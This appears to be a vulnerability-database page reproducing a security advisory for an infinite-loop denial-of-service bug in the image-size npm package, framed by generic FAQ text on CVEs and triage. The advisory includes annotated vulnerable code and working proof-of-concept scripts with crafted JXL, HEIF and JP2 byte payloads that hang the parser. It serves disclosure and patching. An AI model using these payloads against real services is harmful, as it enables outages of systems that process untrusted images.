How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

365,542

Total vulnerabilities in the database

image-size Denial of Service via Infinite Loop during Image Processing — image-size

Allocation of Resources Without Limits or Throttling

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type &amp;&amp; typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) =&gt; typeHandlers[key].validate(input) //&lt;--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean =&gt; {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== &#039;JXL &#039;) return false      //&lt;---

    const ftypBox = findBox(input, &#039;ftyp&#039;, 0) //&lt;---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === &#039;jxl &#039;
  },

findBox can lead to an infine loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =&gt;
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset &lt; 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset &lt; boxSize) return           // (8 - 0) &lt; 0 =&gt; false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // &#039;JXL &#039;
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: &#039;ftyp&#039;, offset: 0
  while (offset &lt; input.length) {         // 0 &lt; 8 =&gt; false
    const box = readBox(input, offset)    // { name: &#039;JXL &#039;, offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // &#039;JXL &#039; === &#039;ftyp&#039; =&gt; false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts

PoC

Usage:

node main.js poc1|poc2

poc for [email protected]

// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require(&quot;image-size/fromFile&quot;);
const {imageSize} = require(&quot;image-size&quot;);

const fs = require(&#039;fs&#039;);

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // &quot;JXL &quot;
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // &quot;ftyp&quot;
//   0x61, 0x76, 0x69, 0x66  // &quot;avif&quot;
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // &quot;jP  &quot;
// ]);

const FILENAME = &quot;./poc.svg&quot;

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () =&gt; {
    await imageSizeFromFile(FILENAME)
    console.log(&#039;Done&#039;) // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log(&#039;Done&#039;) // never executed
}

const pocs = new Map();
pocs.set(&#039;poc1&#039;, poc1); // node main.js poc1
pocs.set(&#039;poc2&#039;, poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

poc for [email protected]

// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require(&quot;image-size&quot;);
const fs = require(&#039;fs&#039;);

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // &quot;JXL &quot;
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // &quot;ftyp&quot;
//   0x61, 0x76, 0x69, 0x66  // &quot;avif&quot;
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // &quot;jP  &quot;
// ]);

const FILENAME = &quot;./poc.svg&quot;

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log(&#039;Done&#039;) // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log(&#039;Done&#039;) // never executed
}

const pocs = new Map();
pocs.set(&#039;poc1&#039;, poc1); // node main.js poc1
pocs.set(&#039;poc2&#039;, poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

poc for [email protected]

// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require(&quot;image-size&quot;);
const fs = require(&#039;fs&#039;);

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // &quot;ftyp&quot;
  0x61, 0x76, 0x69, 0x66  // &quot;avif&quot;
]);

const FILENAME = &quot;./poc.svg&quot;

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log(&#039;Done&#039;) // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log(&#039;Done&#039;) // never executed
}

const pocs = new Map();
pocs.set(&#039;poc1&#039;, poc1); // node main.js poc1
pocs.set(&#039;poc2&#039;, poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Impact

Denial of Service

Published: Apr 2, 2025
Updated: Apr 30, 2025
GHSA: GHSA-m5qc-5hw7-8vg7
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWEs:

CWE-770

Affected Software
References

Software	From	Fixed in
image-size	1.1.0	1.2.1
image-size	2.0.0	2.0.2

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.